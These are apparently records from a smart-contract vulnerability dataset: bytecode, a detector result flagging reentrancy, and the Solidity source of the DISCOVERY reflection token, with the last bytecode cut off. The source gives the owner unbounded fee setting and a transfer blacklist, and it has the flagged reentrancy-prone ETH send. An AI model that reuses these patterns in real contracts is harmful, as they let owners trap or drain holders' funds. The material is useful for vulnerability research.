610263610529366004611ad5565b60106020526000908152604090205460ff1681565b34801561054a57600080fd5b506101fc61097d565b34801561055f57600080fd5b506101fc61056e366004611b68565b6109d1565b34801561057f57600080fd5b506102c261058e366004611bec565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c557600080fd5b506101fc6105d4366004611b1d565b610a72565b3480156105e557600080fd5b506101fc6105f4366004611ad5565b610aa1565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c25565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c5a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c86565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b60006106bc848484610caf565b61070e843361070985604051806060016040528060288152602001611da0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611c25565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078d5760405162461bcd60e51b815260040161062390611c25565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e057506013546001600160a01b0316336001600160a01b0316145b6107e957600080fd5b476107f381611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b031633146108425760405162461bcd60e51b815260040161062390611c25565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611c25565b601655565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062390611c25565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092d5760405162461bcd60e51b815260040161062390611c25565b601855565b6000546001600160a01b0316331461095c5760405162461bcd60e51b815260040161062390611c25565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6012546001600160a01b0316336001600160a01b031614806109b257506013546001600160a01b0316336001600160a01b0316145b6109bb57600080fd5b60006109c6306107f6565b90506107f3816112e3565b6000546001600160a01b031633146109fb5760405162461bcd60e51b815260040161062390611c25565b60005b82811015610a6c578160056000868685818110610a1d57610a1d611c5a565b9050602002016020810190610a329190611ad5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6481611c86565b9150506109fe565b50505050565b6000546001600160a01b03163314610a9c5760405162461bcd60e51b815260040161062390611c25565b601755565b6000546001600160a01b03163314610acb5760405162461bcd60e51b815260040161062390611c25565b6001600160a01b038116610b305760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa846107f6565b610fb49190611ca1565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b6000611018306107f6565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b03831660009081526005602052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a6c8484848461145d565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a13565b50600061121c8486611cb9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061148b565b90506112dc83826114ae565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c5a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611384573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a89190611cd0565b816001815181106113bb576113bb611c5a565b6001600160a01b0392831660209182029290920101526014546113e19130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141a908590600090869030904290600401611ced565b600060405180830381600087803b15801561143457600080fd5b505af1158015611448573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146a5761146a6114f0565b61147584848461151e565b80610a6c57610a6c600e54600c55600f54600d55565b6000806000611498611615565b90925090506114a782826114ae565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611655565b600c541580156115005750600d54155b1561150757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153087611683565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156290876116e0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115919086611722565b6001600160a01b0389166000908152600260205260409020556115b381611781565b6115bd84836117cb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163082826114ae565b82101561164c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116765760405162461bcd60e51b81526004016106239190611a13565b50600061121c8486611d5e565b60008060008060008060008060006116a08a600c54600d546117ef565b92509250925060006116b061148b565b905060008060006116c38e878787611844565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b60008061172f8385611ca1565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565b600061178b61148b565b905060006117998383611894565b306000908152600260205260409020549091506117b69082611722565b30600090815260026020526040902055505050565b6006546117d890836116e0565b6006556007546117e89082611722565b6007555050565b600080808061180960646118038989611894565b906114ae565b9050600061181c60646118038a89611894565b905060006118348261182e8b866116e0565b906116e0565b9992985090965090945050505050565b60008080806118538886611894565b905060006118618887611894565b9050600061186f8888611894565b905060006118818261182e86866116e0565b939b939a50919850919650505050505050565b6000826118a3575060006106a9565b60006118af8385611d80565b9050826118bc8583611d5e565b146112dc5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610623565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f357600080fd5b803561194981611929565b919050565b6000602080838503121561196157600080fd5b823567ffffffffffffffff8082111561197957600080fd5b818501915085601f83011261198d57600080fd5b81358181111561199f5761199f611913565b8060051b604051601f19603f830116810181811085821117156119c4576119c4611913565b6040529182528482019250838101850191888311156119e257600080fd5b938501935b82851015611a07576119f88561193e565b845293850193928501926119e7565b98975050505050505050565b600060208083528351808285015260005b81811015611a4057858101830151858201604001528201611a24565b81811115611a52576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a7b57600080fd5b8235611a8681611929565b946020939093013593505050565b600080600060608486031215611aa957600080fd5b8335611ab481611929565b92506020840135611ac481611929565b929592945050506040919091013590565b600060208284031215611ae757600080fd5b81356112dc81611929565b8035801515811461194957600080fd5b600060208284031215611b1457600080fd5b6112dc82611af2565b600060208284031215611b2f57600080fd5b5035919050565b60008060008060808587031215611b4c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b7d57600080fd5b833567ffffffffffffffff80821115611b9557600080fd5b818601915086601f830112611ba957600080fd5b813581811115611bb857600080fd5b8760208260051b8501011115611bcd57600080fd5b602092830195509350611be39186019050611af2565b90509250925092565b60008060408385031215611bff57600080fd5b8235611c0a81611929565b91506020830135611c1a81611929565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c9a57611c9a611c70565b5060010190565b60008219821115611cb457611cb4611c70565b500190565b600082821015611ccb57611ccb611c70565b500390565b600060208284031215611ce257600080fd5b81516112dc81611929565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3d5784516001600160a01b031683529383019391830191600101611d18565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9a57611d9a611c70565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220015721c5b5b45d660c6317cb4cee5ebe2ca56b6928d3ff37083aaf24a90cff1c64736f6c634300080c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
3,024
0x51725155ae4be24376a198a54d3f00244cd336f3
/** *Submitted for verification at Etherscan.io on 2022-04-29 */ // SPDX-License-Identifier: Unlicensed /** https://twitter.com/discoveryeth **/ pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract DISCOVERY is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "A Lambo Dream"; string private constant _symbol = "DISCOVERY"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 10000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 4; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 4; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x0B2ddaD39e6DB8e13a595656E63bbbDf61351c3C); address payable private _marketingAddress = payable(0x0B2ddaD39e6DB8e13a595656E63bbbDf61351c3C); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 100000000 * 10**9; uint256 public _maxWalletSize = 300000000 * 10**9; uint256 public _swapTokensAtAmount = 1000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055d578063dd62ed3e1461057d578063ea1644d5146105c3578063f2fde38b146105e357600080fd5b8063a2a957bb146104d8578063a9059cbb146104f8578063bfd7928414610518578063c3c8cd801461054857600080fd5b80638f70ccf7116100d15780638f70ccf7146104505780638f9a55c01461047057806395d89b411461048657806398a5c315146104b857600080fd5b80637d1db4a5146103ef5780637f2feddc146104055780638da5cb5b1461043257600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038557806370a082311461039a578063715018a6146103ba57806374010ece146103cf57600080fd5b8063313ce5671461030957806349bd5a5e146103255780636b999053146103455780636d8aa8f81461036557600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d35780632fd689e3146102f357600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195b565b610603565b005b34801561020a57600080fd5b5060408051808201909152600d81526c41204c616d626f20447265616d60981b60208201525b60405161023d9190611a20565b60405180910390f35b34801561025257600080fd5b50610266610261366004611a75565b6106a2565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50678ac7230489e800005b60405190815260200161023d565b3480156102df57600080fd5b506102666102ee366004611aa1565b6106b9565b3480156102ff57600080fd5b506102c560185481565b34801561031557600080fd5b506040516009815260200161023d565b34801561033157600080fd5b50601554610296906001600160a01b031681565b34801561035157600080fd5b506101fc610360366004611ae2565b610722565b34801561037157600080fd5b506101fc610380366004611b0f565b61076d565b34801561039157600080fd5b506101fc6107b5565b3480156103a657600080fd5b506102c56103b5366004611ae2565b610800565b3480156103c657600080fd5b506101fc610822565b3480156103db57600080fd5b506101fc6103ea366004611b2a565b610896565b3480156103fb57600080fd5b506102c560165481565b34801561041157600080fd5b506102c5610420366004611ae2565b60116020526000908152604090205481565b34801561043e57600080fd5b506000546001600160a01b0316610296565b34801561045c57600080fd5b506101fc61046b366004611b0f565b6108c5565b34801561047c57600080fd5b506102c560175481565b34801561049257600080fd5b50604080518082019091526009815268444953434f5645525960b81b6020820152610230565b3480156104c457600080fd5b506101fc6104d3366004611b2a565b61090d565b3480156104e457600080fd5b506101fc6104f3366004611b43565b61093c565b34801561050457600080fd5b50610266610513366004611a75565b61097a565b34801561052457600080fd5b50610266610533366004611ae2565b60106020526000908152604090205460ff1681565b34801561055457600080fd5b506101fc610987565b34801561056957600080fd5b506101fc610578366004611b75565b6109db565b34801561058957600080fd5b506102c5610598366004611bf9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cf57600080fd5b506101fc6105de366004611b2a565b610a7c565b3480156105ef57600080fd5b506101fc6105fe366004611ae2565b610aab565b6000546001600160a01b031633146106365760405162461bcd60e51b815260040161062d90611c32565b60405180910390fd5b60005b815181101561069e5760016010600084848151811061065a5761065a611c67565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069681611c93565b915050610639565b5050565b60006106af338484610b95565b5060015b92915050565b60006106c6848484610cb9565b610718843361071385604051806060016040528060288152602001611dab602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f5565b610b95565b5060019392505050565b6000546001600160a01b0316331461074c5760405162461bcd60e51b815260040161062d90611c32565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107975760405162461bcd60e51b815260040161062d90611c32565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107ea57506013546001600160a01b0316336001600160a01b0316145b6107f357600080fd5b476107fd8161122f565b50565b6001600160a01b0381166000908152600260205260408120546106b390611269565b6000546001600160a01b0316331461084c5760405162461bcd60e51b815260040161062d90611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108c05760405162461bcd60e51b815260040161062d90611c32565b601655565b6000546001600160a01b031633146108ef5760405162461bcd60e51b815260040161062d90611c32565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109375760405162461bcd60e51b815260040161062d90611c32565b601855565b6000546001600160a01b031633146109665760405162461bcd60e51b815260040161062d90611c32565b600893909355600a91909155600955600b55565b60006106af338484610cb9565b6012546001600160a01b0316336001600160a01b031614806109bc57506013546001600160a01b0316336001600160a01b0316145b6109c557600080fd5b60006109d030610800565b90506107fd816112ed565b6000546001600160a01b03163314610a055760405162461bcd60e51b815260040161062d90611c32565b60005b82811015610a76578160056000868685818110610a2757610a27611c67565b9050602002016020810190610a3c9190611ae2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6e81611c93565b915050610a08565b50505050565b6000546001600160a01b03163314610aa65760405162461bcd60e51b815260040161062d90611c32565b601755565b6000546001600160a01b03163314610ad55760405162461bcd60e51b815260040161062d90611c32565b6001600160a01b038116610b3a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062d565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062d565b6001600160a01b038216610c585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062d565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062d565b6001600160a01b038216610d7f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062d565b60008111610de15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062d565b6000546001600160a01b03848116911614801590610e0d57506000546001600160a01b03838116911614155b156110ee57601554600160a01b900460ff16610ea6576000546001600160a01b03848116911614610ea65760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062d565b601654811115610ef85760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062d565b6001600160a01b03831660009081526010602052604090205460ff16158